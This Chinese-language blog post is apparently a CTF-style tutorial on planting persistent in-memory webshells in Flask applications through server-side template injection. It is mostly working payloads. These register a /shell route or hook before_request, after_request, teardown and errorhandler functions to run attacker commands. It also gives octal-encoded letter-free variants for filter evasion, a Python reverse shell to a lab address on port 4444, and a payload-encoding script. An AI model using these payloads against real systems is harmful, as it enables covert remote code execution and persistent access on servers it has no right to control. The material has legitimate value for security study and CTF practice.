目录

flask内存马

# flask内存马

最近遇到一些flask ssti模板注入的题目,在既没有回显,又不能出网的情况下,内存马成了一个好的选择。

在flask中,没有定义的路由会返回404的,因此内存马最初是通过动态注册路由来实现的,新版的flask已经不允许动态注册路由了,现在也有一些新的姿势实现

0

# 低版本flask内存马

分析低版本payload

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
1

这里使用了flask的内置函数url_for,通过url_for.__globals__获取到全局变量,然后通过__builtins__获取到内置函数eval,在eval函数里使用add_url_rule动态的创建了一个/shell的路由,在这个路由下通过定义匿名函数导入了os模块,然后执行了os.popen函数,接收一个cmd参数,默认值为whoami,最后返回执行结果。

格式化成易读的形式

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    ",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    })
1
2
3
4
5
6
7
8
9
10
11

eval函数里的第二个参数是一个字典, 给eval 函数提供一个自定义的全局命名空间

  • _request_ctx_stack:使eval函数可以获取flask请求的参数,状态
  • app:使eval函数可以调用应用的功能,比如注册路由、访问配置,这里用来调用 add_url_rule 方法,以动态添加新的路由

注意

后文多次需要引入url_for.__globals__的变量requestapp,在需要传参利用时很重要,否则在匿名函数收不到参数

部分flask版本下无法使用url_for.globals['current_app']来获取app,可以sys.modules,通过url_for.__globals__['sys'].modules['__main__'].__dict__['app']来获取app

1

低版本flask复现环境(windows)

演示的flask环境

pip install Flask==1.1.1 itsdangerous==1.1.0 Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1
1
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def home():
    return render_template_string(request.args.get('name','hello,world!'))

if __name__ == '__main__':
    app.run()
1
2
3
4
5
6
7
8
9

成功打入内存马

3

4

尝试在linux环境下复现时鸡飞狗跳,没有配好就不掩饰了

# 新版内存马

flask常用的装饰器routebefore_requestafter_requesterrorhandlerlogin_required

在禁止动态注册路由的情况下,可以使用flask的特殊装饰器before_requestafter_requesterrorhandler处理特定的请求方法,在每次请求之前执行代码,从而实现内存马的效果

# before_request

跟着去before_request装饰器源码里看定义

5

    @setupmethod
    def before_request(self, f: BeforeRequestCallable) -> BeforeRequestCallable:
        """
        在每次请求之前,调用自定义的函数f
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4
5
6
7

在这里,如果 None 键不存在,就初始化为一个空列表。如果存在传入的函数 f,则通过调用before_request_funcs.setdefault(None, []).append(f)函数把自定义函数f添加到before_request_funcs 字典中,在每次请求处理之前调用这个函数

重点:通过调用before_request_funcs.setdefault(None, []).append(f)函数添加了自定义函数

如果可以打入自定义的后门函数,那么每次请求前都会触发来执行命令

lambda :__import__('os').popen('whoami').read()
1

内存马payload

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami
1

通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request装饰器触发自定义后门函数执行命令

6

# after_request

after_request:如果处理逻辑没有异常抛出,在每次请求后运行

after_request装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,区别在,这里的函数需要接收一个response对象,同时返回一个response对象

定义

@setupmethod
    def after_request(self, f: AfterRequestCallable) -> AfterRequestCallable:
        """注册一个函数,在每次请求后运行。

        该函数会接收响应对象,并必须返回一个响应对象。这允许函数在发送响应之前修改或替换响应。

        如果一个函数引发异常,则任何剩余的 ``after_request`` 函数将不会被调用。因此,这不应用于必须执行的操作,例如关闭资源。请使用 :meth:`teardown_request` 来处理此类操作。
        """
        self.after_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4
5
6
7
8
9
10

仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response

函数内容为:

lambda resp: #传入参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     #定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #exec函数返回None,所以恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
1
2
3
4
5
6
7
8

提示

  • before_request 中,requestapp 是在请求上下文中自动可用的。这是因为 before_request 钩子在处理请求时就会被调用,此时 Flask 已经设置好了请求上下文。因此,可以直接使用requestapp

  • after_request 的上下文是在响应生成后,需要显式传递requestapp这些变量来确保它们在函数中可用。这样,before_request 和 after_request 的行为差异源于它们被调用的上下文和时间

在这里可以知道,after_request需要显示手动导入requestapp变量这些{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']}

payload:

{{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&cmd=whoami
1

# teardown_request

teardown_request:在每次请求后运行,即使处理发生了错误

定义:

@setupmethod
    def teardown_request(self, f: TeardownCallable) -> TeardownCallable:
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f
1
2
3
4

after_request类似,teardown_request装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,在后台运行,没有回显,可以写文件,出网反弹shell

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=echo 11111 > 1.txt
1

# teardown_appcontext

teardown_appcontext:在每次请求后运行,即使处理发生了错误

定义:

@setupmethod
    def teardown_appcontext(self, f: TeardownCallable) -> TeardownCallable:
        self.teardown_appcontext_funcs.append(f)
        return f
1
2
3
4

不能动态接收get参数,可以利用写文件,出网反弹shell

payload:

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}
1

# errorhandler

errorhandler:处理指定的异常

errorhandler装饰器用于处理指定的异常,可以接收一个异常类型或HTTP状态码作为参数,并返回一个处理函数。这个处理函数会在发生指定异常或HTTP状态码时被调用,HTTP状态码例如200400403404500,errorhandler可以定义这些状态码的回显

如果定义404页面的回显,那么随便访问未定义/不存在的路由都会触发这个回显

定义:

@setupmethod
    def errorhandler(
        self, code_or_exception: t.Union[t.Type[Exception], int]
    ) -> t.Callable[["ErrorHandlerCallable"], "ErrorHandlerCallable"]:
        """注册一个函数以处理按代码或异常类的错误。

        一个装饰器,用于注册给定错误代码的函数。例如:

            @app.errorhandler(404)
            def page_not_found(error):
                return '此页面不存在', 404

        你也可以注册任意异常的处理程序:

            @app.errorhandler(DatabaseError)
            def special_exception_handler(error):
                return '数据库连接失败', 500
        """
        def decorator(f: "ErrorHandlerCallable") -> "ErrorHandlerCallable":
            self.register_error_handler(code_or_exception, f)
            return f

        return decorator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

跟进register_error_handler函数:

    def register_error_handler(
        self,
        code_or_exception: t.Union[t.Type[Exception], int],
        f: "ErrorHandlerCallable",
    ) -> None:
        if isinstance(code_or_exception, HTTPException):  # old broken behavior
            raise ValueError(
                "Tried to register a handler for an exception instance"
                f" {code_or_exception!r}. Handlers can only be"
                " registered for exception classes or HTTP error codes."
            )

        try:
            exc_class, code = self._get_exc_class_and_code(code_or_exception)
        except KeyError:
            raise KeyError(
                f"'{code_or_exception}' is not a recognized HTTP error"
                " code. Use a subclass of HTTPException with that code"
                " instead."
            ) from None

        self.error_handler_spec[None][code][exc_class] = f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

在最后的代码,code即是前面传来的错误码,exc_class是异常类,f是页面回显内容。通过exec函数执行命令,把结果赋值给f回显到错误页面

exc_class, code = self._get_exc_class_and_code(code_or_exception)
self.error_handler_spec[None][code][exc_class] = f
1
2

payload:

{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}
1

# 补充

突然发现很多人在看,补充一下最近学到的姿势:无字母打入内存马

需要知道:

  • flask可以使用['']替换.,来访问对象属性,例如:''.__class__,''['__class__']
  • flask可以解析引号里的进制,例如十六进制,八进制,十进制
  • flask可以使用__import__来导入模块,例如:__import__('os')

利用[]中括号索引的引号,同时利用八进制数字绕过字母限制,可以达到无字母打入内存马的效果

尝试解析

7

通过转换进制后的''['__class__']['__base__']['__subclasses__']()寻找可以子类os_wrap

8

警告

注意下面payload使用过程,需要换成实际索引,例如os_wrap的索引为137

# 无字母反弹shell

使用python3反弹shell,反弹到攻击机的192.168.237.1,端口4444,注意os.wrap类索引修改为实际索引,例如os_wrap的索引为137

原payload

''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen']('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("192.168.237.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')['read']()
1

八进制

''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\160\171\164\150\157\1563 -\143 \'\151\155\160\157\162\164 \157\163,\160\164\171,\163\157\143\153\145\164;\163=\163\157\143\153\145\164.\163\157\143\153\145\164();\163.\143\157\156\156\145\143\164(("192.168.237.1",4444));[\157\163.\144\165\1602(\163.\146\151\154\145\156\157(),\146)\146\157\162 \146 \151\156(0,1,2)];\160\164\171.\163\160\141\167\156("\163\150")\'')['\162\145\141\144']()
1

# 无字母打入内存马

使用os.wrap的内置函数exec打入内存马

原payload

''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")
1

八进制

''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())")
1

一个不够完善的脚本,仅供参考

# 使用python环境执行命令反弹shell  
# payload = """''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen']('python3 -c \\'import os,pty,socket;s=socket.socket();s.connect(("192.168.237.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\\'')['read']()""" 
# 内置函数exec打入内存马
payload = """''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")"""

payload8 = ''

def convert_char(char):
    """
    只将字母和下划线转换为八进制,数字和符号保持不变。
    如果字符是反斜杠(\\),则保留原样。
    """
    if char == '\\':  # 如果字符是反斜杠,直接返回原样
        return char
    elif char.isalpha() or char == '_':  # 只对字母和下划线转换为八进制
        return '\\' + format(ord(char), '03o')
    else:  # 数字和符号保持不变
        return char

for char in payload:
    payload8 += convert_char(char)

print(f"原始payload:  {payload}")
print(f"构造的payload8:   {payload8}")


# ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\160\171\164\150\157\156\063 -\143 '\151\155\160\157\162\164 \157\163,\160\164\171,\163\157\143\153\145\164;\163=\163\157\143\153\145\164.\163\157\143\153\145\164();\163.\143\157\156\156\145\143\164(("192.168.237.1",4444));[\157\163.\144\165\160\062(\163.\146\151\154\145\156\157(),\146)\146\157\162 \146 \151\156(\060,\061,\062)];\160\164\171.\163\160\141\167\156("\163\150")'')['\162\145\141\144']()
# 命令执行版本
# 1['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\154\163')['\162\145\141\144']()
# 测试可利用索引
# ()['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]

# 八进制打入内存马版本
# ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())")

# 反弹shell
# python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.237.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
# ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\160\171\164\150\157\156 -\143 \'\151\155\160\157\162\164 \157\163,\160\164\171,\163\157\143\153\145\164;\163=\163\157\143\153\145\164.\163\157\143\153\145\164();\163.\143\157\156\156\145\143\164(("\061\071\062.\061\066\070.\062\063\067.\061",\064\064\064\064));[\157\163.\144\165\160\062(\163.\146\151\154\145\156\157(),\146)\146\157\162 \146 \151\156(\060,\061,\062)];\160\164\171.\163\160\141\167\156("\163\150")\'')['\162\145\141\144']()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

参考、致谢:

最后一次更新于: 2025/01/17, 16:51:56